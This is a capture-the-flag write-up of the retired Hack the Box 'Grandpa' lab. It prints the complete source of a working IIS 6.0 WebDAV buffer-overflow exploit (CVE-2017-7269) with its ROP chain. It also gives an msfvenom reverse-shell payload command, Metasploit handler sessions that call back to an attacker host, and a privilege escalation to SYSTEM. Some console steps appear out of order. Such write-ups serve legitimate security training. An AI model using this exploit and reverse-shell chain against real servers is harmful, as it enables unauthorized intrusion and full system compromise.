htb-grandpa-nl

Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried Grandpa Lab.

Level: Beginners

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.

root@kali:~/htb/grandpa# nmap -sC -sV 10.10.10.14
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-17 15:08 CET
Nmap scan report for 10.10.10.14
Host is up (0.027s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods: 
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan: 
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unkown
|_ Server Date: Thu, 17 Jan 2019 14:06:03 GMT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds

Microsoft IIS httpd 6.0

Details

  • Vulnerability: Microsoft IIS WebDav ‘ScStoragePathFromUrl’ Remote Buffer Overflow
  • CVECVE-2017-7269
  • Disclosure date: March 31 2017
  • Affected product: Microsoft Windows Server 2003 R2 SP2 x86

Shellcode

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# An implementation of NSA's ExplodingCan exploit
# Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
# CVE-2017-7269 
#
# by @danigargu
#
#

import re
import sys
import socket
import requests
import httplib
import string
import time
import random
import sys

from urlparse import urlparse
from struct import pack

REQUEST_TIMEOUT = 10
DEFAULT_IIS_PATH_SIZE = len("C:\Inetpub\wwwroot")

def decode(data):
    return data.decode("utf-8").encode("utf-16le")

def encode(data):
    return data.decode("utf-16le").encode("utf-8")

p = lambda x : pack("<L", x) # pack

def rand_text_alpha(size):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join(random.choice(chars) for _ in range(size))

def supports_webdav(headers):
    if "DAV" in headers.get('MS-Author-Via','') or \
        headers.get('DASL','') == '<DAV:sql>' or \
        re.match('^[\d]+(,\s+[\d]+)?$', headers.get('DAV','')) or \
        "PROPFIND" in headers.get('Public','') or \
        "PROPFIND" in headers.get('Allow',''):
        return True
    return False

def check(url):
    r = requests.request('OPTIONS', url, timeout=REQUEST_TIMEOUT)
    if r.status_code != 200:
        print("[-] Status code: %d" % r.status_code)
        return False

    print("[*] Server found: %s" % r.headers['Server'])
    if "IIS/6.0" in r.headers['Server'] and supports_webdav(r.headers):
        return True
    return False

def find_iis_path_len(url, min_len=3, max_len=70, delay=0):
    idx  = 0
    junk = 60
    found = False
    iis_path_len = None
    cur_size = max_len

    assert max_len <= 130, "Max length exceeded (130)"
    init_lenght = 130-max_len

    while not found and cur_size > min_len:
        cur_size = (max_len-idx)
        to_brute = rand_text_alpha(init_lenght+idx)         
        base_query = "<http://localhost/%s> (Not <locktoken:write1>) <http://localhost/>" % to_brute

        sys.stdout.write("[*] Trying with size: %d\r" % cur_size)
        sys.stdout.flush()      
        try:
            r = requests.request('PROPFIND', url, 
                    timeout=REQUEST_TIMEOUT, headers={
                        'Content-Length': '0',
                        'Host': 'localhost',
                        'If': base_query
                    })

            if r.status_code == 500:
                iis_path_len = (max_len-idx)
                found = True
            idx += 1
            time.sleep(delay)

        # requests.exceptions.ReadTimeout
        except requests.exceptions.ConnectionError as e:
            print("[-] ERROR: %s" % e.message)
            break

    if iis_path_len and iis_path_len == max_len:
        iis_path_len = None
    
    return iis_path_len

def make_payload(p_url, iis_path_len, shellcode):
    url = p_url.geturl()
    payload = "PROPFIND / HTTP/1.1\r\n"
    payload += "Host: %s\r\n" % p_url.netloc
    payload += "Content-Length: 0\r\n"
    payload += "If: <%s/a" % url

    junk = (128-iis_path_len) * 2

    p1  = rand_text_alpha(junk) # Varies the length given its IIS physical path
    p1 += p(0x02020202)
    p1 += p(0x680312c0) # str pointer to .data httpext.dll
    p1 += rand_text_alpha(24)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    p1 += rand_text_alpha(12)
    p1 += p(0x680313c0) # destination pointer used with memcpy
    
    payload += encode(p1)

    payload += "> (Not <locktoken:write1>) "
    payload += "<%s/b" % url

    p2  = rand_text_alpha(junk - 4)
    p2 += p(0x680313c0)

    """
    Stack adjust:

    rsaenh.dll:68006E4F  pop     esi
    rsaenh.dll:68006E50  pop     ebp
    rsaenh.dll:68006E51  retn    20h
    """

    p2 += p(0x68006e4f) # StackAdjust
    p2 += p(0x68006e4f) # StackAdjust
    p2 += rand_text_alpha(4)
    p2 += p(0x680313c0)
    p2 += p(0x680313c0)
    p2 += rand_text_alpha(12)

    """
    rsaenh.dll:68016082  mov     esp, ecx
    rsaenh.dll:68016084  mov     ecx, [eax]
    rsaenh.dll:68016086  mov     eax, [eax+4]
    rsaenh.dll:68016089  push    eax
    rsaenh.dll:6801608A  retn
    """

    p2 += p(0x68016082)
    p2 += rand_text_alpha(12)
    p2 += p(0x6800b113) # push 0x40 - PAGE_EXECUTE_READWRITE
    p2 += rand_text_alpha(4)
    p2 += p(0x680124e3) # JMP [EBX]
    p2 += p(0x68031460) # shellcode address
    p2 += p(0x7ffe0300) # ntdll!KiFastSystemCall address
    p2 += p(0xffffffff)
    p2 += p(0x680313c0)
    p2 += p(0x6803046e) 
    p2 += rand_text_alpha(4)
    p2 += p(0x68031434)
    p2 += p(0x680129e7) # leave; ret

    """
    rsaenh.dll:68009391  pop     eax
    rsaenh.dll:68009392  pop     ebp
    rsaenh.dll:68009393  retn    4
    """

    p2 += p(0x68009391)
    p2 += rand_text_alpha(16)
    p2 += p(0x6803141c)

    """
    rsaenh.dll:68006E05  lea     esp, [ebp-20h]
    rsaenh.dll:68006E08  pop     edi
    rsaenh.dll:68006E09  pop     esi
    rsaenh.dll:68006E0A  pop     ebx
    rsaenh.dll:68006E0B  leave
    rsaenh.dll:68006E0C  retn    24h
    """

    p2 += p(0x68006e05)
    p2 += rand_text_alpha(12)
    p2 += p(0x68008246) # EAX val address
    p2 += rand_text_alpha(4)

    """
    Load 0x8F in EAX: NtProtectVirtualMemory syscall (Windows 2003 Server)

    rsaenh.dll:68021DAA  mov     eax, [eax+110h]
    rsaenh.dll:68021DB0  pop     ebp
    rsaenh.dll:68021DB1  retn    4
    """

    p2 += p(0x68021daa)
    p2 += rand_text_alpha(4)
    p2 += p(0x680313f8)
    p2 += p(0x680129e7) # leave; ret

    payload += encode(p2)

    """
    stack restore:

    90             nop
    31db           xor ebx, ebx
    b308           mov bl, 8
    648b23         mov esp, dword fs:[ebx]
    6681c40008     add sp, 0x800
    90             nop
    """
    payload += encode("9031DBB308648B236681C4000890".decode("hex"))
    payload += encode(shellcode)
    payload += ">\r\n\r\n"

    return payload

def send_exploit(p_url, data):
    host = p_url.hostname
    port = p_url.port if p_url.port else 80
    vulnerable = False
    recv_data  = None

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(50)
        sock.connect((host, port))
        sock.send(data)
        recv_data = sock.recv(1024)
        sock.close()
    except socket.timeout:
        print("[*] Socket timeout")
        vulnerable = True
    except socket.error as e:     
        if e.errno == 54:
            print("[*] Connection reset by peer")
            vulnerable = True
    return (vulnerable, recv_data)

def main():    
    if len(sys.argv) < 3:
        print("Usage: %s <url> <shellcode-file>" % sys.argv[0])
        return

    try:
        url = sys.argv[1]
        sc_file = sys.argv[2]
        p_url = urlparse(url)
        shellcode = None

        with open(sc_file, 'rb') as f:
            shellcode = f.read()

        print("[*] Using URL: %s" % url)
        if not check(url):
            print("[-] Server not vulnerable")
            return

        iis_path_len = find_iis_path_len(url)
        if not iis_path_len:
            print("[-] Unable to determine IIS path size")
            return

        print("[*] Found IIS path size: %d" % iis_path_len)
        if iis_path_len == DEFAULT_IIS_PATH_SIZE:
            print("[*] Default IIS path: C:\Inetpub\wwwroot")

        r = requests.request('PROPFIND', url, timeout=REQUEST_TIMEOUT)
        if r and r.status_code == 207:
            print("[*] WebDAV request: OK")
            payload = make_payload(p_url, iis_path_len, shellcode)

            print("[*] Payload len: %d" % len(payload))
            print("[*] Sending payload...")
            vuln, recv_data = send_exploit(p_url, payload)

            if vuln:
                print("[+] The host is maybe vulnerable")
            if recv_data:
                print(recv_data)   
        else:
            print("[-] Server did not respond correctly to WebDAV request")
            return
            
    except Exception as e:
        print("[-] %s" % e)

if __name__ == '__main__':
    main()

 

The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom(metasploit) with the alpha_mixed encoder.

root@kali:~/htb/grandpa# msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=10.10.14.12 LPORT=4444 >shellcode
root@kali:~/htb/grandpa# python ExplodingCan.py http://10.10.10.14 shellcode
[*] Using URL: http://10.10.10.14
[*] Server found: Microsoft-IIS/6.0
[*] Found IIS path size: 18
[*] Default IIS path: C:\Inetpub\wwwroot
[*] WebDAV request: OK
[*] Payload len: 2241
[*] Sending payload...

[*] Socket timeout
[+] The host is maybe vulnerable

.

msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.14:1887) at 2019-01-17 14:44:00 +0100

meterpreter > shell
Process 3016 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown above

Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.

For that background your current meterpreter shell and go for post exploitation

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

c:\windows\system32\inetsrv>^Z
Background channel 1? [y/N] y
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > 
meterpreter > CTRL-Z
Background session 1? [y/N] 
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 28 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed


Start a second listener

msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(multi/handler) > set lport 4455
lport => 4455

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.12:4455

[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100

meterpreter > 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.

msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
lport => 4455
msf exploit(windows/local/ppr_flatten_rec) > run
meterpreter > getuid
msf exploit(windows/local/ppr_flatten_rec) > run

[-] Handler failed to bind to 10.10.14.12:4455:- -
[-] Handler failed to bind to 0.0.0.0:4455:- -
[*] Launching notepad to host the exploit...
[+] Process 1776 launched.
[*] Reflectively injecting the exploit DLL into 1776...
[*] Injecting exploit into 1776 ...
[*] Exploit injected. Injecting payload into 1776...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 30 sec 
[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100
...

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.

meterpreter > shell

Great!! We got our user flag

Inside c:\Document and Setting\Administrator \Desktop I found root.txt file and used type “file name” command for reading this file.

Great!! We got our root flag

Author: Puckiestyle

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *